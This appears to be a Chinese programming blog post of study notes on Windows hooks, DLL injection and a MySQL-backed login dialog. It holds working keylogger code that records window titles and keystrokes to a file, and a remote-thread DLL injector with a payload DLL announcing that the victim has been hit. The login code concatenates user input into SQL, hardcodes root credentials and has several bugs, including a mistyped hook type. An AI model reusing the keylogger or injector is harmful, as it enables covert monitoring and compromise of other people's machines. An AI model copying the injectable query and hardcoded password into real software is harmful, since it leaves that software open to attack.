		return CallNextHookEx(g_hook, nCode, wParam, lParam);
	}

	if (wParam == VK_F4 && ((lParam >> 29) & 1) == 1)
	{
		return 1;
	}
	return CallNextHookEx(g_hook, nCode, wParam, lParam); 
}

全局钩子:(注入)将dll注入到所有正在运行的程序中,如果键盘钩子处理函数返回1,那么所有的正在运行程序的键盘将不再响应

导入dll,然后所有的程序消息循环都将和这个dll向关联,

dll .h
#include<Windows.h>
HHOOK g_Mousehook;
HHOOK g_Keyboardhook;
//安装钩子
extern "C" __declspec(dllexport)BOOL InstallHook();
//卸载钩子
extern "C" __declspec(dllexport)BOOL UnInstallHook();
//鼠标钩子处理函数
LRESULT CALLBACK MousePro(int nCode, WPARAM wParam, LPARAM lParam);
//键盘钩子处理函数
LRESULT CALLBACK KeyBoardPro(int nCode, WPARAM wParam, LPARAM lParam);

dll .cpp
#include"TestHook.h"
//安装钩子
BOOL InstallHook()
{
	//安装鼠标钩子 第三个当前模块句柄,
	g_Mousehook=SetWindowsHookEx(WH_MOUSE, MousePro, GetModuleHandle(L"TestHook"), NULL);
	if (g_Mousehook == NULL)
		return FALSE;
	g_Keyboardhook = SetWindowsHookEx(WH_MOUSE, KeyBoardPro, GetModuleHandle(L"TestHook"), NULL);
	if (g_Keyboardhook == NULL)
		return FALSE;
	return TRUE;
}
//卸载钩子
BOOL UnInstallHook()
{
	return UnhookWindowsHookEx(g_Mousehook) && UnhookWindowsHookEx(g_Keyboardhook);
}
//鼠标钩子处理函数
LRESULT CALLBACK MousePro(int nCode, WPARAM wParam, LPARAM lParam)
{
	return CallNextHookEx(g_Mousehook,nCode,wParam,lParam);
}
//键盘钩子处理函数
LRESULT CALLBACK KeyBoardPro(int nCode, WPARAM wParam, LPARAM lParam)
{
	return CallNextHookEx(g_Keyboardhook, nCode, wParam, lParam);
}

键盘钩子:WH_KEYBOARD

//键盘钩子处理函数
LRESULT CALLBACK KeyBoardPro(int nCode, WPARAM wParam, LPARAM lParam)
{
	if (nCode<0||nCode==HC_NOREMOVE)
		return  CallNextHookEx(g_Mousehook, nCode, wParam, lParam);
	//按下不响应
	if (lParam >> 0x40000000)
	{
		CallNextHookEx(g_Mousehook, nCode, wParam, lParam);
	}
	//获取当前激活窗口
	HWND hWnd = GetActiveWindow();
	if (hWnd == NULL)
	{
		//获取当前最前面窗口
		hWnd = GetForegroundWindow();
		if (hWnd == NULL)
		{
			return  CallNextHookEx(g_Mousehook, nCode, wParam, lParam);
		}
	}
	char windowtitle[MAX_PATH];
	GetWindowTextA(hWnd, windowtitle, MAX_PATH);
	//获取按键名称
	char keyname[50];
	GetKeyNameTextA(lParam, keyname, sizeof(keyname));
	if (GetKeyState(VK_CAPITAL))
	{
		//大写
		Toupper(keyname);
	}
	else
	{
		Tolower(keyname);
	}
	//保存
	char str[550] = { 0 };
	sprintf(str, "%s::%s\r\n", windowtitle, keyname);
	FILE*fp = fopen("D:\\1.txt", "a");
	if (fp == NULL)
		return  CallNextHookEx(g_Mousehook, nCode, wParam, lParam);
	fwrite(str, 1, strlen(str), fp);
	fclose(fp);
	return CallNextHookEx(g_Keyboardhook, nCode, wParam, lParam);
}
//小写转大写
char *Toupper( char* str)
{
	char*p = str;
	while (*str != 0)
	{
		*str = toupper(*str);
		str++;
	}
	return p;
}
//大写转小写
char *Tolower(char* str)
{
	char*p = str;
	while (*str != 0)
	{
		*str = tolower(*str);
		str++;
	}
	return p;
}

基础键盘钩子:WH_KEYBOARD_LL


//键盘钩子处理函数
LRESULT CALLBACK LowLevelKeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
	if (code < 0 || code == HC_NOREMOVE)
		return CallNextHookEx(g_hKeyboardHook, code, wParam, lParam);
	if (code == HC_ACTION)
	{
		//获取按键的名称
		char szKeyName[50];
		if (wParam == WM_KEYUP ||wParam ==WM_SYSKEYUP)
		{
			PKBDLLHOOKSTRUCT pKeyboardHookStruct = (PKBDLLHOOKSTRUCT)lParam;
			if (pKeyboardHookStruct->flags & 0x80)
			{
				LONG flag = pKeyboardHookStruct->scanCode << 16;
				flag = flag | pKeyboardHookStruct->flags;

				GetKeyNameTextA(flag, szKeyName, sizeof(szKeyName));

				//获取当前激活窗口
				HWND hWnd = GetActiveWindow();
				if (hWnd == NULL)
				{
					//获取最前面的窗口
					hWnd = GetForegroundWindow();
					if (hWnd == NULL)
					{
						return CallNextHookEx(g_hKeyboardHook, code, wParam, lParam);
					}
				}
				char szWindowTitle[MAX_PATH];
				GetWindowTextA(hWnd, szWindowTitle, MAX_PATH);
				if (GetKeyState(VK_CAPITAL))
				{
					//小写
					ToLower(szKeyName);
				}
				else
				{
					//大写
					ToUpper(szKeyName);
				}
				//保存到文件
				char szWriteText[520] = { 0 };
				sprintf(szWriteText, "%s::%s##%d\r\n", szWindowTitle, szKeyName, code);
				FILE* fp = fopen("D:\\1.txt", "a");
				if (fp == NULL)
					return CallNextHookEx(g_hKeyboardHook, code, wParam, lParam);

				fwrite(szWriteText, 1, strlen(szWriteText), fp);
				fclose(fp);
			}
		}	
	}
	return CallNextHookEx(g_hKeyboardHook, code, wParam, lParam);
}
//字符串转大写
char *ToUpper(char* str)
{
	char* p = str;
	while (*str != '\0')
	{
		*str = toupper(*str);
		str++;
	}
	return p;
}
//字符串转小写
char* ToLower(char* str)
{
	char* p = str;
	while (*str != '\0')
	{
		*str = tolower(*str);
		str++;
	}
	return p;
}

Debug钩子:预处理

HHOOK g_debughook;
LRESULT CALLBACK DebugProc(int nCode,WPARAM wParam, LPARAM lParam);
BOOL CDebugHookDlg::OnInitDialog()
{
	CDialogEx::OnInitDialog();
	//安装Debug钩子,在安装钩子之前进行处理,预处理
	g_debughook=SetWindowsHookEx(WH_DEBUG, DebugProc, 0, GetCurrentThreadId());

	return TRUE;  // 除非将焦点设置到控件,否则返回 TRUE
}
LRESULT CALLBACK DebugProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	if (nCode == HC_ACTION)
	{
		//当前程序屏蔽其他程序的鼠标键盘钩子消息
		switch (wParam)
		{
		case WH_MOUSE:
		case WH_KEYBOARD:
		{
			return 1;
		}
		}
	}
	return CallNextHookEx(g_debughook, nCode, wParam, lParam);
}

远程线程注入:

#include<tlhelp32.h>
BOOL CInjectDlg::OnInitDialog()
{
	CDialogEx::OnInitDialog();

	m_list.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
	m_list.InsertColumn(0, L"编号", LVCFMT_LEFT, 100);
	m_list.InsertColumn(1, L"映像名称", LVCFMT_LEFT, 100);
	m_list.InsertColumn(2, L"PID", LVCFMT_LEFT, 100);
	m_list.InsertColumn(3, L"is64", LVCFMT_LEFT, 100);
	EnumPro();
	return TRUE;  // 除非将焦点设置到控件,否则返回 TRUE
}
void CInjectDlg::OnBnClickedSelect()
{
	CFileDialog dlg(TRUE, NULL, NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, L"DLL文件(*.dll)|*.dll|所有文件(*.*)|*.*");
	if (IDCANCEL == dlg.DoModal())
		return;
	m_strpath = dlg.GetPathName();
	UpdateData(FALSE);
}
void CInjectDlg::EnumPro()
{
	HANDLE hsnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
	PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
	BOOL bfind=Process32First(hsnap, &pe);
	int i = 0;
	while (bfind)
	{
		bfind = Process32Next(hsnap, &pe);
		
		CString str;
		str.Format(L"%d", i);
		m_list.InsertItem(i, str);

		m_list.SetItemText(i, 1, pe.szExeFile);
		//
		str.Format(L"%d", pe.th32ProcessID);
		m_list.SetItemText(i, 2, str);

		//打开进程
		HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
		BOOL iswow62 = FALSE;
		if (handle != NULL)
		{
			IsWow64Process(handle, &iswow62);
		}
		m_list.SetItemText(i, 3, iswow62 ? L"x86" : L"x64");

		i++;
	}
	CloseHandle(hsnap);
}
void CInjectDlg::OnBnClickedInject()
{
	UpdateData(TRUE);
	if (m_strpath.IsEmpty())
	{
		MessageBox(L"请先选择");
		return;
	}
	//进程句柄、
	POSITION pos=m_list.GetFirstSelectedItemPosition();
	int sel = m_list.GetNextSelectedItem(pos);
	if (sel < 0)
	{
		MessageBox(L"请先选择");
		return;
	}
	//提权 打开与进程相关的访问令牌
	HANDLE htoken;
	if (FALSE == OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &htoken))
	{
		MessageBox(L"提权失败");
		return;
	}
	//查询进程特权信息 关机SE_SHUTDOWN_NAME
	LUID luid;
	if (FALSE == LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
	{
		MessageBox(L"查询进程特权信息失败");
		return;
	}
	//调节权限 
	TOKEN_PRIVILEGES tp;
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	tp.Privileges[0].Luid = luid;
	if (FALSE == AdjustTokenPrivileges(htoken, FALSE, &tp, sizeof(tp), NULL, NULL))
	{
		MessageBox(L"调节权限失败");
		return;
	}

	DWORD pid = _wtoi(m_list.GetItemText(sel, 2));

	//根据pid打开进程
	HANDLE hpro=OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if (hpro == NULL)
	{
		MessageBox(L"打开进程失败");
		return;
	}
	//在远程进程中申请内存
	LPVOID addr=VirtualAllocEx(hpro, NULL, m_strpath.GetLength() * 2 + 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (addr == NULL)
	{
		MessageBox(L"在远程进程中申请内存失败");
		return;
	}
	//将dll路径写入远程进程 最后一个实际大小
	if (FALSE == WriteProcessMemory(hpro, addr, m_strpath.GetBuffer(), m_strpath.GetLength() * 2 + 2, NULL))
	{
		MessageBox(L"将dll路径写入远程进程,失败");
		return;
	}
	//获取LoadLibraryA函数地址
	PTHREAD_START_ROUTINE pthadd = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "LoadLibraryA");
	//在远程进程中开辟进程 第三个远程线程处理函数 第四个远程地址
	HANDLE hthreadhandle=CreateRemoteThread(hpro, NULL, 0, pthadd, addr, 0, NULL);
	if (hthreadhandle == NULL)
	{
		MessageBox(L"远程进程中开辟进程,失败");
		return;
	}
	MessageBox(L"注入成功");
	CloseHandle(hthreadhandle);
}

DLL:

#include <Windows.h>

void Test()
{
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
	switch (fdwReason)
	{
	case DLL_PROCESS_ATTACH:
		MessageBox(NULL, L"您已经中招了", L"温馨提示", MB_OK);
		//调用DLL的函数就可以了
		Test();
		break;
	case DLL_PROCESS_DETACH:
		break;
	}

	return 0;
}

如果错误信息为5 ,1权限不够,2位数不对32/64


MySQL:

需要64位

CMySQL类

.h
#pragma once
#include<mysql.h>
#pragma comment(lib,"libmysql.lib")
#pragma comment(lib,"libmysqld.lib")
class CMySQL
{
public:
	MYSQL *m_mysql;//mysql实例句柄
	MYSQL_RES* m_result;
	MYSQL_ROW  m_row;
public:
	CMySQL();
	~CMySQL();
	BOOL Connect(const char *host, const char *user, const char *passwd, const char *db, unsigned int port);
	int Query(const wchar_t *stmt_str);
	//保存结果集
	MYSQL_RES *Store_result();
	//检索结果集
	MYSQL_ROW fetch_row();
};


.cpp
#include "stdafx.h"
#include "MySQL.h"
CMySQL::CMySQL()
{
	//MySQL初始化
	m_mysql=mysql_init(NULL);
	m_result = NULL;
	m_row = NULL;
}
CMySQL::~CMySQL()
{
}
BOOL CMySQL:: Connect(const char *host, const char *user, const char *passwd, const char *db, unsigned int port)
{
	//连接mysql数据库 返回mysql指针
	if (!mysql_real_connect(m_mysql, host, user, passwd, db, port, 0, 0))
	{
		return FALSE;
	}
	return TRUE;
}
//查询
int CMySQL::Query(const wchar_t *stmt_str)
{
	char*buff = new char[wcslen(stmt_str)*2];
	memset(buff, 0, wcslen(stmt_str) * 2);
	WideCharToMultiByte(CP_ACP, 0, stmt_str, -1, buff, wcslen(stmt_str) * 2, NULL, NULL);

	return mysql_real_query(m_mysql, buff, strlen(buff));
}
//保存结果集
MYSQL_RES *CMySQL::Store_result()
{
	m_result = mysql_store_result(m_mysql);
	return m_result;
}
//检索结果集
MYSQL_ROW CMySQL::fetch_row()
{
	m_row= mysql_fetch_row(m_result);
	return m_row;
}

连接数据库:在登录窗口之前连接

App
BOOL CStudentSystemApp::InitInstance()
{
	//连接数据库
	if (FALSE == m_mysql.Connect("127.0.0.1", "root", "123456", "test", 3306))
	{
		AfxMessageBox(L"连接数据库失败");
		return TRUE;
	}
    CLogin login;
	if (IDCANCEL == login.DoModal())
		return TRUE;
	CWinApp::InitInstance();
}

在登录窗口声明 theApp 通过theApp里面的MySQL成员来调用MySQL类的的对象:

extern CStudentSystemApp theApp;

然后查找数据中密码

void CLogin::OnBnClickedLogin()
{
	UpdateData(TRUE);
	if (m_user.IsEmpty() || m_password.IsEmpty())
	{
		MessageBox(L"请输入用户名或密码!", L"温馨提示");
		return;
	}
		//插入
	//wchar_t sql[250] = L"insert into student (name, password) value (\"list\", \"11111\"); ";
	wchar_t sql[250];
	wsprintf(sql,L"select password from student where name = \'%s\'", m_user.GetBuffer());
	int error=theApp.m_mysql.Query(sql);
	//保存结果集
	theApp.m_mysql.Store_result();
	int i = 0;
	while (theApp.m_mysql.fetch_row())//来回循环要查找的user对应的密码,每次查找下一个
	{
		char pass[20] = { 0 };
		//theApp.m_mysql.m_row[0] 得到数据库user的密码,
		//m_row相当于一个表,如果select name password ,则密码在m_row[1](数组的第二个位置)
		//如果select password ,则密码在m_row[0](数组的第一个位置)
		strcpy(pass, theApp.m_mysql.m_row[0]);
		if (pass == m_password)
		{
			i = 1;
		}
	}
	if (i==1)
	{
		EndDialog(IDOK);
	}
	else{
		MessageBox(L"用户名或密码错误!", L"温馨提示");
		m_password = L"";
		GetDlgItem(IDC_PASSWORD)->SetFocus();
		UpdateData(FALSE);
		return;
	}
}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值